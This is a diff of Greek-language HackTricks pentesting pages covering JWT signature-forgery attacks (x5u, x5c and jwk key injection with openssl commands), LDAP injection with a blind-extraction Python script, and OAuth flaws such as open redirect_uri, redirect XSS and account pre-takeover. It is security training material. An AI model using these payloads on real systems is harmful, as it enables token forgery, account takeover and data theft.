openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
``` ```
Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**jwt.io**](https://jwt.io) για να δημιουργήσετε το νέο JWT με τα **δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείξετε την παράμετρο x5u στο πιστοποιητικό .crt που δημιουργήθηκε.** Στη συνέχεια, μπορείτε να χρησιμοποιήσετε για παράδειγμα [**jwt.io**](https://jwt.io) για να δημιουργήσετε το νέο JWT με τα **δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείξετε την παράμετρο x5u στο πιστοποιητικό .crt που δημιουργήθηκε.**
![](<../images/image (956).png>) ![](<../images/image (956).png>)
@ -170,7 +170,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
![](<../images/image (1119).png>) ![](<../images/image (1119).png>)
Εάν ο επιτιθέμενος **δημιουργήσει ένα αυτο-υπογεγραμμένο πιστοποιητικό** και δημιουργήσει ένα πλαστό token χρησιμοποιώντας το αντίστοιχο ιδιωτικό κλειδί και αντικαταστήσει την τιμή της παραμέτρου "x5c" με το νεοδημιουργηθέν πιστοποιητικό και τροποποιήσει τις άλλες παραμέτρους, δηλαδή n, e και x5t, τότε ουσιαστικά το πλαστό token θα γινόταν αποδεκτό από τον διακομιστή. Εάν ο επιτιθέμενος **δημιουργήσει ένα αυτο-υπογεγραμμένο πιστοποιητικό** και δημιουργήσει ένα πλαστό token χρησιμοποιώντας το αντίστοιχο ιδιωτικό κλειδί και αντικαταστήσει την τιμή της παραμέτρου "x5c" με το νεοδημιουργηθέν πιστοποιητικό και τροποποιήσει τις άλλες παραμέτρους, δηλαδή n, e και x5t, τότε ουσιαστικά το πλαστό token θα γίνει αποδεκτό από τον διακομιστή.
```bash ```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text openssl x509 -in attacker.crt -text
@ -191,7 +191,7 @@ const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public")); console.log(importedKey.exportKey("public"));
``` ```
Είναι δυνατόν να δημιουργήσετε ένα νέο ιδιωτικό/δημόσιο κλειδί, να ενσωματώσετε το νέο δημόσιο κλειδί μέσα στο διακριτικό και να το χρησιμοποιήσετε για να δημιουργήσετε μια νέα υπογραφή: Είναι δυνατόν να δημιουργήσετε ένα νέο ιδιωτικό/δημόσιο κλειδί, να ενσωματώσετε το νέο δημόσιο κλειδί μέσα στο token και να το χρησιμοποιήσετε για να δημιουργήσετε μια νέα υπογραφή:
```bash ```bash
openssl genrsa -out keypair.pem 2048 openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -207,7 +207,7 @@ const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16)); console.log('Parameter e: ', publicComponents.e.toString(16));
``` ```
Τελικά, χρησιμοποιώντας το δημόσιο και ιδιωτικό κλειδί και τις νέες τιμές "n" και "e", μπορείτε να χρησιμοποιήσετε [jwt.io](https://jwt.io) για να κατασκευάσετε ένα νέο έγκυρο JWT με οποιαδήποτε πληροφορία. Τελικά, χρησιμοποιώντας το δημόσιο και ιδιωτικό κλειδί και τις νέες τιμές "n" και "e" μπορείτε να χρησιμοποιήσετε [jwt.io](https://jwt.io) για να κατασκευάσετε ένα νέο έγκυρο JWT με οποιαδήποτε πληροφορία.
### ES256: Αποκάλυψη του ιδιωτικού κλειδιού με τον ίδιο nonce ### ES256: Αποκάλυψη του ιδιωτικού κλειδιού με τον ίδιο nonce
@ -222,7 +222,9 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
### JWT Καταχωρημένες αξιώσεις ### JWT Καταχωρημένες αξιώσεις
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %} {{#ref}}
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
{{#endref}}
### Άλλες επιθέσεις ### Άλλες επιθέσεις
@ -230,17 +232,18 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
Έχει παρατηρηθεί ότι ορισμένες διαδικτυακές εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, έγινε αποδεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας τρίτης υπηρεσίας, θα πρέπει να διερευνηθεί η δυνατότητα εγγραφής σε έναν λογαριασμό σε άλλο πελάτη αυτής της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/email. Στη συνέχεια, θα πρέπει να γίνει μια προσπάθεια επανάληψης του αποκτηθέντος token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται αποδεκτό. Έχει παρατηρηθεί ότι ορισμένες διαδικτυακές εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, έγινε αποδεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας τρίτης υπηρεσίας, θα πρέπει να διερευνηθεί η δυνατότητα εγγραφής σε έναν λογαριασμό σε άλλο πελάτη αυτής της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/email. Στη συνέχεια, θα πρέπει να γίνει μια προσπάθεια επανάληψης του αποκτηθέντος token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται αποδεκτό.
- Ένα κρίσιμο ζήτημα μπορεί να υποδεικνύεται από την αποδοχή του token σας, επιτρέποντας δυνητικά την παραποίηση οποιουδήποτε λογαριασμού χρήστη. Ωστόσο, θα πρέπει να σημειωθεί ότι μπορεί να απαιτείται άδεια για ευρύτερη δοκιμή εάν εγγραφείτε σε μια εφαρμογή τρίτου μέρους, καθώς αυτό θα μπορούσε να εισέλθει σε μια νομική γκρίζα περιοχή. - Ένα κρίσιμο ζήτημα μπορεί να υποδεικνύεται από την αποδοχή του token σας, επιτρέποντας ενδεχομένως την παραποίηση οποιουδήποτε λογαριασμού χρήστη. Ωστόσο, θα πρέπει να σημειωθεί ότι μπορεί να απαιτείται άδεια για ευρύτερη δοκιμή εάν εγγραφείτε σε μια τρίτη εφαρμογή, καθώς αυτό θα μπορούσε να εισέλθει σε μια νομική γκρίζα περιοχή.
**Έλεγχος Λήξης Tokens** **Έλεγχος Λήξης Tokens**
Η λήξη του token ελέγχεται χρησιμοποιώντας την αξίωση "exp" Payload. Δεδομένου ότι τα JWT χρησιμοποιούνται συχνά χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική διαχείριση. Σε πολλές περιπτώσεις, η σύλληψη και η επανάληψη του JWT άλλου χρήστη θα μπορούσε να επιτρέψει την ταυτοποίηση αυτού του χρήστη. Το JWT RFC προτείνει την μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας την αξίωση "exp" για να ορίσετε μια ώρα λήξης για το token. Επιπλέον, η εφαρμογή σχετικών ελέγχων από την εφαρμογή για να διασφαλιστεί η επεξεργασία αυτής της τιμής και η απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια αξίωση "exp" και οι περιορισμοί χρόνου δοκιμών το επιτρέπουν, συνιστάται η αποθήκευση του token και η επανάληψή του μετά την παρέλευση της ώρας λήξης. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης χρονικών σημείων και του ελέγχου λήξης (χρονικό σημείο σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας την επιλογή -R του jwt_tool. Η λήξη του token ελέγχεται χρησιμοποιώντας την αξίωση "exp" Payload. Δεδομένου ότι τα JWT χρησιμοποιούνται συχνά χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική διαχείριση. Σε πολλές περιπτώσεις, η σύλληψη και η επανάληψη του JWT άλλου χρήστη θα μπορούσε να επιτρέψει την ταυτοποίηση αυτού του χρήστη. Το JWT RFC προτείνει την μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας την αξίωση "exp" για να ορίσετε μια ώρα λήξης για το token. Επιπλέον, η εφαρμογή σχετικών ελέγχων από την εφαρμογή για να διασφαλιστεί η επεξεργασία αυτής της τιμής και η απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια αξίωση "exp" και οι περιορισμοί χρόνου δοκιμών το επιτρέπουν, συνιστάται η αποθήκευση του token και η επανάληψή του μετά την παρέλευση της ώρας λήξης. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης χρονοσήμανσης και του ελέγχου λήξης (χρονοσήμανση σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας την επιλογή -R του jwt_tool.
- Ένας κίνδυνος ασφαλείας μπορεί να υπάρχει εάν η εφαρμογή εξακολουθεί να επικυρώνει το token, καθώς αυτό μπορεί να υποδηλώνει ότι το token δεν θα μπορούσε ποτέ να λήξει. - Ένας κίνδυνος ασφαλείας μπορεί να υπάρχει εάν η εφαρμογή εξακολουθεί να επικυρώνει το token, καθώς αυτό μπορεί να υποδηλώνει ότι το token δεν θα μπορούσε ποτέ να λήξει.
### Εργαλεία ### Εργαλεία
{% embed url="https://github.com/ticarpi/jwt_tool" %} {{#ref}}
https://github.com/ticarpi/jwt_tool
{{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -14,7 +14,7 @@
../network-services-pentesting/pentesting-ldap.md ../network-services-pentesting/pentesting-ldap.md
{{#endref}} {{#endref}}
**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από την είσοδο του χρήστη. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειραγωγήσουν τις δηλώσεις LDAP** μέσω ενός τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειραγώγηση δεδομένων. **LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρηστών. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειριστούν δηλώσεις LDAP** μέσω τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειρισμό δεδομένων.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} {% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -148,7 +148,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
#### **Ανακάλυψη έγκυρων πεδίων LDAP** #### **Ανακάλυψη έγκυρων πεδίων LDAP**
Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**τα προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξαγάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
```python ```python
#!/usr/bin/python3 #!/usr/bin/python3
import requests import requests
@ -203,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
``` ```
### Περισσότερα Payloads ### Περισσότερα Payloads
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} {{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
{{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,25 +2,24 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Basic Information <a href="#d4a8" id="d4a8"></a> ## Basic Information <a href="#d4a8" id="d4a8"></a>
Το OAuth προσφέρει διάφορες εκδόσεις, με θεμελιώδεις πληροφορίες διαθέσιμες στην [OAuth 2.0 documentation](https://oauth.net/2/). Αυτή η συζήτηση επικεντρώνεται κυρίως στον ευρέως χρησιμοποιούμενο [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), παρέχοντας ένα **πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στον λογαριασμό ενός χρήστη σε άλλη εφαρμογή** (ο εξουσιοδοτικός διακομιστής). Το OAuth προσφέρει διάφορες εκδόσεις, με θεμελιώδεις πληροφορίες διαθέσιμες στην [OAuth 2.0 documentation](https://oauth.net/2/). Αυτή η συζήτηση επικεντρώνεται κυρίως στον ευρέως χρησιμοποιούμενο [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), παρέχοντας ένα **πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στον λογαριασμό ενός χρήστη σε άλλη εφαρμογή** (ο εξουσιοδοτημένος διακομιστής).
Σκεφτείτε μια υποθετική ιστοσελίδα _**https://example.com**_, σχεδιασμένη να **παρουσιάζει όλες τις αναρτήσεις σας στα κοινωνικά δίκτυα**, συμπεριλαμβανομένων των ιδιωτικών. Για να το επιτύχει αυτό, χρησιμοποιείται το OAuth 2.0. _https://example.com_ θα ζητήσει την άδειά σας να **έχει πρόσβαση στις αναρτήσεις σας στα κοινωνικά δίκτυα**. Ως αποτέλεσμα, θα εμφανιστεί μια οθόνη συγκατάθεσης στο _https://socialmedia.com_, περιγράφοντας τις **άδειες που ζητούνται και τον προγραμματιστή που υποβάλλει το αίτημα**. Μετά την εξουσιοδότησή σας, το _https://example.com_ αποκτά τη δυνατότητα να **έχει πρόσβαση στις αναρτήσεις σας εκ μέρους σας**. Σκεφτείτε μια υποθετική ιστοσελίδα _**https://example.com**_, σχεδιασμένη να **παρουσιάζει όλες τις αναρτήσεις σας στα κοινωνικά δίκτυα**, συμπεριλαμβανομένων των ιδιωτικών. Για να το επιτύχει αυτό, χρησιμοποιείται το OAuth 2.0. _https://example.com_ θα ζητήσει την άδειά σας να **έχει πρόσβαση στις αναρτήσεις σας στα κοινωνικά δίκτυα**. Ως αποτέλεσμα, θα εμφανιστεί μια οθόνη συγκατάθεσης στο _https://socialmedia.com_, περιγράφοντας τις **άδειες που ζητούνται και τον προγραμματιστή που υποβάλλει το αίτημα**. Μετά την εξουσιοδότησή σας, το _https://example.com_ αποκτά τη δυνατότητα να **έχει πρόσβαση στις αναρτήσεις σας εκ μέρους σας**.
Είναι σημαντικό να κατανοήσετε τα εξής στοιχεία μέσα στο πλαίσιο του OAuth 2.0: Είναι σημαντικό να κατανοήσετε τα παρακάτω στοιχεία μέσα στο πλαίσιο του OAuth 2.0:
- **resource owner**: Εσείς, ως **χρήστης/οντότητα**, εξουσιοδοτείτε την πρόσβαση στους πόρους σας, όπως οι αναρτήσεις του λογαριασμού σας στα κοινωνικά δίκτυα. - **resource owner**: Εσείς, ως **χρήστης/οντότητα**, εξουσιοδοτείτε την πρόσβαση στους πόρους σας, όπως οι αναρτήσεις του λογαριασμού σας στα κοινωνικά δίκτυα.
- **resource server**: Ο **διακομιστής που διαχειρίζεται τις αυθεντικοποιημένες αιτήσεις** αφού η εφαρμογή έχει εξασφαλίσει ένα `access token` εκ μέρους του `resource owner`, π.χ., **https://socialmedia.com**. - **resource server**: Ο **διακομιστής που διαχειρίζεται τις αυθεντικοποιημένες αιτήσεις** αφού η εφαρμογή έχει εξασφαλίσει ένα `access token` εκ μέρους του `resource owner`, π.χ., **https://socialmedia.com**.
- **client application**: Η **εφαρμογή που ζητά εξουσιοδότηση** από τον `resource owner`, όπως **https://example.com**. - **client application**: Η **εφαρμογή που ζητά εξουσιοδότηση** από τον `resource owner`, όπως **https://example.com**.
- **authorization server**: Ο **διακομιστής που εκδίδει `access tokens`** στην `client application` μετά την επιτυχή αυθεντικοποίηση του `resource owner` και την εξασφάλιση εξουσιοδότησης, π.χ., **https://socialmedia.com**. - **authorization server**: Ο **διακομιστής που εκδίδει `access tokens`** στην `client application` μετά την επιτυχή αυθεντικοποίηση του `resource owner` και την εξασφάλιση εξουσιοδότησης, π.χ., **https://socialmedia.com**.
- **client_id**: Ένας δημόσιος, μοναδικός αναγνωριστικός αριθμός για την εφαρμογή. - **client_id**: Ένας δημόσιος, μοναδικός αναγνωριστικός αριθμός για την εφαρμογή.
- **client_secret:** Ένα εμπιστευτικό κλειδί, γνωστό μόνο στην εφαρμογή και τον εξουσιοδοτικό διακομιστή, που χρησιμοποιείται για τη δημιουργία `access_tokens`. - **client_secret:** Ένα εμπιστευτικό κλειδί, γνωστό μόνο στην εφαρμογή και τον εξουσιοδοτημένο διακομιστή, που χρησιμοποιείται για τη δημιουργία `access_tokens`.
- **response_type**: Μια τιμή που καθορίζει **τον τύπο του token που ζητείται**, όπως `code`. - **response_type**: Μια τιμή που καθορίζει **τον τύπο του token που ζητείται**, όπως `code`.
- **scope**: Το **επίπεδο πρόσβασης** που ζητά η `client application` από τον `resource owner`. - **scope**: Το **επίπεδο πρόσβασης** που ζητά η `client application` από τον `resource owner`.
- **redirect_uri**: Η **διεύθυνση URL στην οποία ανακατευθύνεται ο χρήστης μετά την εξουσιοδότηση**. Αυτό συνήθως πρέπει να ευθυγραμμίζεται με την προεγγεγραμμένη διεύθυνση URL ανακατεύθυνσης. - **redirect_uri**: Η **διεύθυνση URL στην οποία ανακατευθύνεται ο χρήστης μετά την εξουσιοδότηση**. Αυτό συνήθως πρέπει να ευθυγραμμίζεται με την προεγγεγραμμένη διεύθυνση URL ανακατεύθυνσης.
- **state**: Ένα παράμετρος για **τη διατήρηση δεδομένων κατά τη διάρκεια της ανακατεύθυνσης του χρήστη προς και από τον εξουσιοδοτικό διακομιστή**. Η μοναδικότητά του είναι κρίσιμη για να λειτουργεί ως **μηχανισμός προστασίας CSRF**. - **state**: Ένα παράμετρος για **τη διατήρηση δεδομένων κατά τη διάρκεια της ανακατεύθυνσης του χρήστη προς και από τον εξουσιοδοτημένο διακομιστή**. Η μοναδικότητά του είναι κρίσιμη για να λειτουργεί ως **μηχανισμός προστασίας CSRF**.
- **grant_type**: Ένα παράμετρος που υποδεικνύει **τον τύπο χορήγησης και τον τύπο του token που θα επιστραφεί**. - **grant_type**: Ένα παράμετρος που υποδεικνύει **τον τύπο χορήγησης και τον τύπο του token που θα επιστραφεί**.
- **code**: Ο κωδικός εξουσιοδότησης από τον `authorization server`, που χρησιμοποιείται σε συνδυασμό με το `client_id` και το `client_secret` από την client application για να αποκτήσει ένα `access_token`. - **code**: Ο κωδικός εξουσιοδότησης από τον `authorization server`, που χρησιμοποιείται σε συνδυασμό με το `client_id` και το `client_secret` από την client application για να αποκτήσει ένα `access_token`.
- **access_token**: Το **token που χρησιμοποιεί η client application για αιτήσεις API** εκ μέρους του `resource owner`. - **access_token**: Το **token που χρησιμοποιεί η client application για αιτήσεις API** εκ μέρους του `resource owner`.
@ -45,7 +44,7 @@ https://socialmedia.com/auth
``` ```
https://example.com?code=uniqueCode123&state=randomString123 https://example.com?code=uniqueCode123&state=randomString123
``` ```
5. https://example.com χρησιμοποιεί αυτό το `code`, μαζί με το `client_id` και το `client_secret`, για να κάνει ένα αίτημα από τον διακομιστή για να αποκτήσει ένα `access_token` εκ μέρους σας, επιτρέποντας την πρόσβαση στις άδειες που έχετε συναινέσει: 5. https://example.com χρησιμοποιεί αυτό το `code`, μαζί με το `client_id` και το `client_secret`, για να κάνει ένα αίτημα από τον διακομιστή για να αποκτήσει ένα `access_token` εκ μέρους σας, επιτρέποντας την πρόσβαση στις άδειες που έχετε συμφωνήσει:
``` ```
POST /oauth/access_token POST /oauth/access_token
Host: socialmedia.com Host: socialmedia.com
@ -57,13 +56,13 @@ Host: socialmedia.com
### Ανοιχτό redirect_uri <a href="#cc36" id="cc36"></a> ### Ανοιχτό redirect_uri <a href="#cc36" id="cc36"></a>
Το `redirect_uri` είναι κρίσιμο για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθορίζει πού αποστέλλονται τα ευαίσθητα δεδομένα, όπως οι κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Αν είναι κακοδιαμορφωμένο, μπορεί να επιτρέψει στους επιτιθέμενους να ανακατευθύνουν αυτές τις αιτήσεις σε κακόβουλους διακομιστές, επιτρέποντας την κατάληψη λογαριασμού. Το `redirect_uri` είναι κρίσιμο για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθορίζει πού αποστέλλονται τα ευαίσθητα δεδομένα, όπως οι κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Αν είναι κακώς ρυθμισμένο, μπορεί να επιτρέψει στους επιτιθέμενους να ανακατευθύνουν αυτές τις αιτήσεις σε κακόβουλους διακομιστές, επιτρέποντας την κατάληψη λογαριασμού.
Οι τεχνικές εκμετάλλευσης ποικίλλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορούν να κυμαίνονται από αυστηρή αντιστοίχιση διαδρομών έως αποδοχή οποιασδήποτε διεύθυνσης URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Κοινές μέθοδοι εκμετάλλευσης περιλαμβάνουν ανοιχτές ανακατευθύνσεις, διαδρομές διασύνδεσης, εκμετάλλευση αδύναμων regex και HTML injection για κλοπή token. Οι τεχνικές εκμετάλλευσης ποικίλλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορεί να κυμαίνονται από αυστηρή αντιστοίχιση διαδρομών έως αποδοχή οποιασδήποτε διεύθυνσης URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Κοινές μέθοδοι εκμετάλλευσης περιλαμβάνουν ανοιχτά redirects, διαδρομές διαδρομής, εκμετάλλευση αδύναμων regex και HTML injection για κλοπή token.
Εκτός από το `redirect_uri`, άλλες παράμετροι OAuth και OpenID όπως `client_uri`, `policy_uri`, `tos_uri` και `initiate_login_uri` είναι επίσης ευάλωτες σε επιθέσεις ανακατεύθυνσης. Αυτές οι παράμετροι είναι προαιρετικές και η υποστήριξή τους ποικίλλει μεταξύ των διακομιστών. Εκτός από το `redirect_uri`, άλλες παράμετροι OAuth και OpenID όπως `client_uri`, `policy_uri`, `tos_uri` και `initiate_login_uri` είναι επίσης ευάλωτες σε επιθέσεις ανακατεύθυνσης. Αυτές οι παράμετροι είναι προαιρετικές και η υποστήριξή τους ποικίλλει μεταξύ των διακομιστών.
Για εκείνους που στοχεύουν σε έναν διακομιστή OpenID, το endpoint ανακάλυψης (`**.well-known/openid-configuration**`) συχνά παραθέτει πολύτιμες λεπτομέρειες διαμόρφωσης όπως `registration_endpoint`, `request_uri_parameter_supported` και "`require_request_uri_registration`. Αυτές οι λεπτομέρειες μπορούν να βοηθήσουν στην αναγνώριση του endpoint εγγραφής και άλλων λεπτομερειών διαμόρφωσης του διακομιστή. Για εκείνους που στοχεύουν σε έναν διακομιστή OpenID, το endpoint ανακάλυψης (`**.well-known/openid-configuration**`) συχνά παραθέτει πολύτιμες λεπτομέρειες ρύθμισης όπως `registration_endpoint`, `request_uri_parameter_supported` και "`require_request_uri_registration`. Αυτές οι λεπτομέρειες μπορούν να βοηθήσουν στην αναγνώριση του endpoint εγγραφής και άλλων λεπτομερειών ρύθμισης του διακομιστή.
### XSS στην υλοποίηση ανακατεύθυνσης <a href="#bda5" id="bda5"></a> ### XSS στην υλοποίηση ανακατεύθυνσης <a href="#bda5" id="bda5"></a>
@ -83,14 +82,14 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
### Προκαταλήψεις Λογαριασμού <a href="#ebe4" id="ebe4"></a> ### Προκαταλήψεις Λογαριασμού <a href="#ebe4" id="ebe4"></a>
1. **Χωρίς Επικύρωση Email κατά τη Δημιουργία Λογαριασμού**: Οι επιτιθέμενοι μπορούν προληπτικά να δημιουργήσουν έναν λογαριασμό χρησιμοποιώντας το email του θύματος. Εάν το θύμα αργότερα χρησιμοποιήσει μια υπηρεσία τρίτου μέρους για σύνδεση, η εφαρμογή μπορεί ακούσια να συνδέσει αυτόν τον λογαριασμό τρίτου μέρους με τον προδημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση. 1. **Χωρίς Επικύρωση Email κατά τη Δημιουργία Λογαριασμού**: Οι επιτιθέμενοι μπορούν να δημιουργήσουν προληπτικά έναν λογαριασμό χρησιμοποιώντας το email του θύματος. Εάν το θύμα χρησιμοποιήσει αργότερα μια υπηρεσία τρίτου μέρους για σύνδεση, η εφαρμογή μπορεί ακούσια να συνδέσει αυτόν τον λογαριασμό τρίτου μέρους με τον προδημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
2. **Εκμετάλλευση Χαλαρής Επικύρωσης Email OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επικυρώνουν τα emails, εγγραφόμενοι με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος κινδυνεύει επίσης με μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού επιθετικού διαύλου. 2. **Εκμετάλλευση Χαλαρής Επικύρωσης Email OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επικυρώνουν emails, εγγραφόμενοι με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος κινδυνεύει επίσης με μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού επιθετικού καναλιού.
### Αποκάλυψη Μυστικών <a href="#e177" id="e177"></a> ### Αποκάλυψη Μυστικών <a href="#e177" id="e177"></a>
Η αναγνώριση και η προστασία των μυστικών παραμέτρων OAuth είναι κρίσιμη. Ενώ η **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη της **`client_secret`** ενέχει σημαντικούς κινδύνους. Εάν η `client_secret` παραβιαστεί, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να **κλέψουν τα `access_tokens` χρηστών** και ιδιωτικές πληροφορίες. Η αναγνώριση και η προστασία των μυστικών παραμέτρων OAuth είναι κρίσιμη. Ενώ η **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη της **`client_secret`** ενέχει σημαντικούς κινδύνους. Εάν η `client_secret` παραβιαστεί, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να **κλέψουν τα `access_tokens` χρηστών** και ιδιωτικές πληροφορίες.
Μια κοινή ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται κατά λάθος την ανταλλαγή του `code` εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί στην πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην έκθεση της `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την κάλυψη της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να κλιμακώσουν τα προνόμια προσθέτοντας επιπλέον πεδία στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής. Μια κοινή ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται κατά λάθος την ανταλλαγή του κωδικού εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί στην πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην έκθεση της `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την κάλυψη της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι 